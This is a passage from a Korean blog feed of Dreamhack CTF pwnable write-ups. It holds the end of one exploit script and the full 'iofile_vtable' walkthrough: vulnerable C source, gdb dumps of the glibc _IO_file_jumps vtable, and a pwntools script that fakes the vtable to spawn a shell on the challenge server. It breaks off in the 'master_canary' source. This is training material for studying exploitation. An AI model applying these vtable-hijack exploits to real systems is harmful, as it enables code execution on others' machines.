</span></span><span class="line"><span class="cl"><span class="c1">#pause()</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;send payload success&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;4&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="n">p32</span><span class="p">(</span><span class="n">get_shell</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;send shell ptr success&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mh">0x10</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN iofile_vtable</title><link>https://dig06161.github.io/2023/03/13/dreamhack-pwn-iofile_vtable/</link><pubDate>Mon, 13 Mar 2023 12:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/03/13/dreamhack-pwn-iofile_vtable/</guid><description>드림핵 포너블 iofile_vtable 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 iofile의 vtable에 관한 문제이다. 문제 환경을 보면 ubuntu:16.04로 iofile vtable check 함수는 걱정하지 않아도 될듯 하다.</p>
<p>우선 바이너리 코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">sel</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;what is your name: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;1. print</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;2. error</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;3. read</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;4. chance</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sel</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">switch</span><span class="p">(</span><span class="n">sel</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">printf</span><span class="p">(</span><span class="s">&#34;GOOD</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">&#34;ERROR</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">fgetc</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">case</span> <span class="mi">4</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">printf</span><span class="p">(</span><span class="s">&#34;change: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">stderr</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>우선 중점을 봐야할 부분은 두 부분 같다. 먼저 what is your name이라는 문구와 함께 read함수를 통해서 값을 8 만큼 입력 받는 다 이후 4번 항목을 통해서 stderr+1 지점에 8만큼 값을 쓸 수 있다.</p>
<p>우선 stderr+1에 무엇이 있는지 gdb를 통해서 봐야 할 것 같다. gdb를 통해 살펴본 어셈블리는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl">   <span class="mh">0x400a66</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">267</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x200653</span><span class="p">]</span> <span class="o">&lt;</span><span class="n">stderr</span><span class="err">@@</span><span class="n">GLIBC_2</span><span class="mf">.2.5</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x400a6d</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">274</span><span class="o">&gt;</span>    <span class="n">add</span>    <span class="n">rax</span><span class="p">,</span> <span class="mh">0xd8</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x400a73</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">280</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mh">0x400a78</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">285</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span> <span class="n">rax</span>                      <span class="o">&lt;</span><span class="n">_IO_2_1_stderr_</span><span class="o">+</span><span class="mi">216</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x400a7b</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">288</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x400a80</span> <span class="o">&lt;</span><span class="n">main</span><span class="o">+</span><span class="mi">293</span><span class="o">&gt;</span>    <span class="n">call</span>   <span class="n">read</span><span class="err">@</span><span class="n">plt</span>                      <span class="o">&lt;</span><span class="n">read</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
</span></span></code></pre></div><p>stderr에서 0xd8만큼 더한 값을 read함수의 파라미터로 사용하고 있다 0xd8은 어딘가 익숙한 값이다. 이 부분을 확인해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="n">gx</span> <span class="mh">0x7ffff7dd2618</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd2618</span> <span class="o">&lt;</span><span class="n">_IO_2_1_stderr_</span><span class="o">+</span><span class="mi">216</span><span class="o">&gt;:</span>   <span class="mh">0x00007ffff7dd06e0</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">32</span><span class="n">gx</span> <span class="mh">0x00007ffff7dd06e0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd06e0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">&gt;:</span>        <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd06f0</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">16</span><span class="o">&gt;:</span>     <span class="mh">0x00007ffff7a869d0</span>      <span class="mh">0x00007ffff7a87740</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0700</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">32</span><span class="o">&gt;:</span>     <span class="mh">0x00007ffff7a874b0</span>      <span class="mh">0x00007ffff7a88610</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0710</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">48</span><span class="o">&gt;:</span>     <span class="mh">0x00007ffff7a89990</span>      <span class="mh">0x00007ffff7a861f0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0720</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">64</span><span class="o">&gt;:</span>     <span class="mh">0x00007ffff7a85ed0</span>      <span class="mh">0x00007ffff7a854d0</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0730</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">80</span><span class="o">&gt;:</span>     <span class="mh">0x00007ffff7a88a10</span>      <span class="mh">0x00007ffff7a85440</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0740</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">96</span><span class="o">&gt;:</span>     <span class="mh">0x00007ffff7a85380</span>      <span class="mh">0x00007ffff7a7a190</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0750</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">112</span><span class="o">&gt;:</span>    <span class="mh">0x00007ffff7a861b0</span>      <span class="mh">0x00007ffff7a85b80</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0760</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">128</span><span class="o">&gt;:</span>    <span class="mh">0x00007ffff7a85980</span>      <span class="mh">0x00007ffff7a85350</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0770</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">144</span><span class="o">&gt;:</span>    <span class="mh">0x00007ffff7a85b70</span>      <span class="mh">0x00007ffff7a89b00</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0780</span> <span class="o">&lt;</span><span class="n">_IO_file_jumps</span><span class="o">+</span><span class="mi">160</span><span class="o">&gt;:</span>    <span class="mh">0x00007ffff7a89b10</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd0790</span><span class="o">:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd07a0</span> <span class="o">&lt;</span><span class="n">_IO_str_jumps</span><span class="o">&gt;:</span> <span class="mh">0x0000000000000000</span>      <span class="mh">0x0000000000000000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd07b0</span> <span class="o">&lt;</span><span class="n">_IO_str_jumps</span><span class="o">+</span><span class="mi">16</span><span class="o">&gt;:</span>      <span class="mh">0x00007ffff7a89fb0</span>      <span class="mh">0x00007ffff7a89c90</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd07c0</span> <span class="o">&lt;</span><span class="n">_IO_str_jumps</span><span class="o">+</span><span class="mi">32</span><span class="o">&gt;:</span>      <span class="mh">0x00007ffff7a89c30</span>      <span class="mh">0x00007ffff7a88610</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7ffff7dd07d0</span> <span class="o">&lt;</span><span class="n">_IO_str_jumps</span><span class="o">+</span><span class="mi">48</span><span class="o">&gt;:</span>      <span class="mh">0x00007ffff7a89f90</span>      <span class="mh">0x00007ffff7a88640</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">p</span> <span class="n">_IO_file_jumps</span>
</span></span><span class="line"><span class="cl"><span class="err">$</span><span class="mi">5</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">__dummy</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__dummy2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__finish</span> <span class="o">=</span> <span class="mh">0x7ffff7a869d0</span> <span class="o">&lt;</span><span class="n">_IO_new_file_finish</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__overflow</span> <span class="o">=</span> <span class="mh">0x7ffff7a87740</span> <span class="o">&lt;</span><span class="n">_IO_new_file_overflow</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__underflow</span> <span class="o">=</span> <span class="mh">0x7ffff7a874b0</span> <span class="o">&lt;</span><span class="n">_IO_new_file_underflow</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__uflow</span> <span class="o">=</span> <span class="mh">0x7ffff7a88610</span> <span class="o">&lt;</span><span class="n">__GI__IO_default_uflow</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__pbackfail</span> <span class="o">=</span> <span class="mh">0x7ffff7a89990</span> <span class="o">&lt;</span><span class="n">__GI__IO_default_pbackfail</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__xsputn</span> <span class="o">=</span> <span class="mh">0x7ffff7a861f0</span> <span class="o">&lt;</span><span class="n">_IO_new_file_xsputn</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__xsgetn</span> <span class="o">=</span> <span class="mh">0x7ffff7a85ed0</span> <span class="o">&lt;</span><span class="n">__GI__IO_file_xsgetn</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__seekoff</span> <span class="o">=</span> <span class="mh">0x7ffff7a854d0</span> <span class="o">&lt;</span><span class="n">_IO_new_file_seekoff</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__seekpos</span> <span class="o">=</span> <span class="mh">0x7ffff7a88a10</span> <span class="o">&lt;</span><span class="n">_IO_default_seekpos</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__setbuf</span> <span class="o">=</span> <span class="mh">0x7ffff7a85440</span> <span class="o">&lt;</span><span class="n">_IO_new_file_setbuf</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__sync</span> <span class="o">=</span> <span class="mh">0x7ffff7a85380</span> <span class="o">&lt;</span><span class="n">_IO_new_file_sync</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__doallocate</span> <span class="o">=</span> <span class="mh">0x7ffff7a7a190</span> <span class="o">&lt;</span><span class="n">__GI__IO_file_doallocate</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__read</span> <span class="o">=</span> <span class="mh">0x7ffff7a861b0</span> <span class="o">&lt;</span><span class="n">__GI__IO_file_read</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__write</span> <span class="o">=</span> <span class="mh">0x7ffff7a85b80</span> <span class="o">&lt;</span><span class="n">_IO_new_file_write</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__seek</span> <span class="o">=</span> <span class="mh">0x7ffff7a85980</span> <span class="o">&lt;</span><span class="n">__GI__IO_file_seek</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__close</span> <span class="o">=</span> <span class="mh">0x7ffff7a85350</span> <span class="o">&lt;</span><span class="n">__GI__IO_file_close</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__stat</span> <span class="o">=</span> <span class="mh">0x7ffff7a85b70</span> <span class="o">&lt;</span><span class="n">__GI__IO_file_stat</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__showmanyc</span> <span class="o">=</span> <span class="mh">0x7ffff7a89b00</span> <span class="o">&lt;</span><span class="n">_IO_default_showmanyc</span><span class="o">&gt;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="n">__imbue</span> <span class="o">=</span> <span class="mh">0x7ffff7a89b10</span> <span class="o">&lt;</span><span class="n">_IO_default_imbue</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>확인한 결과 _IO_file_jumps vtable인 것을 볼수 있다. read(0, stderr + 1, 8); 구문을 통해서 가짜 vtable 주소를 넣어 원하는 함수를 실행 시킬 수 있을 것 같다.</p>
<p>case 2:의 fprintf()함수는 호출되면 _IO_file_jumps의 0x38 offset에 있는 __xsputn의 주소를 호출한다. 따라서 우리는 name 변수에 get_shell() 함수 주소를, case 4의 read 함수에서 name 변수 주소 -0x38을 입력하면 익스플로잇이 가능 할 것이다.</p>
<p>다음은 위 내용을 바탕으로 작성한 익스플로잇 코드이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">10623</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./rop&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc-2.27.so&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./iofile_vtable&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./iofile_vtable&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;./libc-2.27.so&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">get_shell</span> <span class="o">=</span> <span class="mh">0x40094a</span>
</span></span><span class="line"><span class="cl"><span class="n">fake__xsputn</span> <span class="o">=</span> <span class="mh">0x6010d0</span><span class="o">-</span><span class="mh">0x38</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;what is your name: &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">get_shell</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;4&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;change: &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake__xsputn</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN master_canary</title><link>https://dig06161.github.io/2023/03/12/dreamhack-pwn-master_canary/</link><pubDate>Sun, 12 Mar 2023 18:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/03/12/dreamhack-pwn-master_canary/</guid><description>드림핵 포너블 master_canary 문제풀이</description><content:encoded><![CDATA[<p>이번 문제는 드림핵 master_canary 문제다. 문제 제목 그대로 master canary를 릭해서 푸는 문제이다.</p>
<p>문제 환경으 ubuntu16:04 버전을 사용한다. 우선 해당 문제의 소스코드를 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// gcc -o master master.c -pthread
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;pthread.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="o">*</span><span class="n">global_buffer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
